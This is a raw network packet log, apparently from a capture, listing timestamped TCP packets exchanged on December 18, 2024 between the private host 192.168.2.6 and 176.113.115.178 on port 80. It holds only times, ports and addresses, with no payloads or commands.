Dec 18, 2024 13:49:46.750080109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.750124931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.750977039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.751225948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.751332998 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.751934052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.752064943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.752167940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.753161907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.753247976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.753429890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.753959894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.754091978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.754163027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.755199909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.755273104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.755629063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.756422997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.756490946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.756794930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.757611990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.757663012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.757664919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.758225918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.758430958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.758487940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.759036064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.759222984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.759320021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.759975910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.760062933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.760195017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.760977030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.761195898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.761331081 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.762088060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.762309074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.762412071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.763016939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.763145924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.763221979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.764089108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.764249086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.764295101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.765069008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.765173912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.765252113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.766088963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.766138077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.766376019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.767122984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.767319918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.767354012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.768069029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.768129110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.768285990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.821866989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.908262968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.908488035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.908691883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.908977032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.909306049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.909410954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.909729004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.910145044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.910233974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.910742998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.911057949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.911129951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.912075996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.912497997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.912723064 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.913054943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.913328886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.913875103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.913994074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.914146900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.915425062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.915438890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.915549994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.917188883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.917202950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.917251110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.917354107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.917953014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.917967081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.918494940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.918823957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.918838024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.918941021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.919603109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.920094013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.920278072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.920618057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.920630932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.920743942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.921590090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.922058105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.922549009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.922740936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.923022032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.923468113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.923986912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.924391985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.924494028 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.924899101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.924912930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.924969912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.925782919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.926172018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.926577091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.926641941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.927000046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.927515030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.927524090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.928050041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.928114891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.928541899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.928742886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.928796053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.929461956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.929763079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.929817915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.930967093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.931104898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.931360006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.931569099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.931916952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.931993961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.932459116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.932708979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.932847977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.933309078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.933515072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.933571100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.934340954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.934448957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.934710026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.935004950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.935184002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.935246944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.935910940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.936177015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.936250925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.936986923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.937167883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.937232971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.938139915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.938153028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.938204050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.938977957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.939404964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.939480066 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.939934015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.940280914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.940418959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.940984011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.941196918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.941287041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.942114115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.942346096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.942398071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.943167925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.943342924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.943391085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.943998098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.944216013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.944298983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.944951057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.945194960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.945282936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.946038961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.946237087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.946284056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.947022915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.947227955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.947279930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.948000908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.948252916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.948359966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.949002981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.949225903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.949291945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.950031996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.950257063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.950361967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.951050997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.951252937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.951302052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.952070951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.952244043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.952375889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.953022957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.953238010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.953614950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.954018116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.954260111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.955084085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.955333948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.955336094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.955560923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.956084967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.956286907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.956371069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.957102060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.957372904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.957484007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.958077908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.958271027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.958374023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.959048986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.959275961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.959363937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.960104942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.960299969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.960375071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.961095095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.009345055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.100553989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.100914955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.100999117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.101306915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.101557970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.101807117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.101937056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.102391005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.102477074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.102791071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.104053020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.104065895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.104132891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.105787039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.105799913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.106024027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.106590033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.106602907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.106694937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.107418060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.107430935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.107492924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.108264923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.108278990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.108310938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.109116077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.109128952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.109175920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.109926939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.109940052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.110083103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.111603975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.111617088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.111660957 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.112492085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.112504959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.112639904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.114154100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.114168882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.114233017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.115096092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.115108967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.115175009 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.115828037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.115850925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.115899086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.116697073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.116710901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.116771936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.117522955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.117535114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.117698908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.119236946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.119261026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.119286060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.120059967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.120071888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.120136023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.120857000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.120870113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.120949984 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.122488976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.122502089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.122612953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.123325109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.123342991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.123380899 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.124174118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.124186993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.124258995 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.125010014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.125022888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.125086069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.126776934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.126791000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.126862049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.127604961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.127618074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.127666950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.128418922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.128432035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.128475904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.129237890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.129251003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.129482031 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.130060911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.130074024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.130227089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.130904913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.130918026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.130954027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.131730080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.131743908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.131927967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.133533001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.133547068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.133749008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.134299994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.134311914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.134402990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.137985945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.138032913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.138063908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.141717911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.141732931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.141928911 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.142680883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.142699003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.142793894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.143588066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.143601894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.143693924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.144642115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.144654989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.144666910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.144706011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.144723892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.145437956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.146400928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.146519899 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:47.147355080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:47.147370100 CET	80	49822	176.113.115.178	192.168.2.6
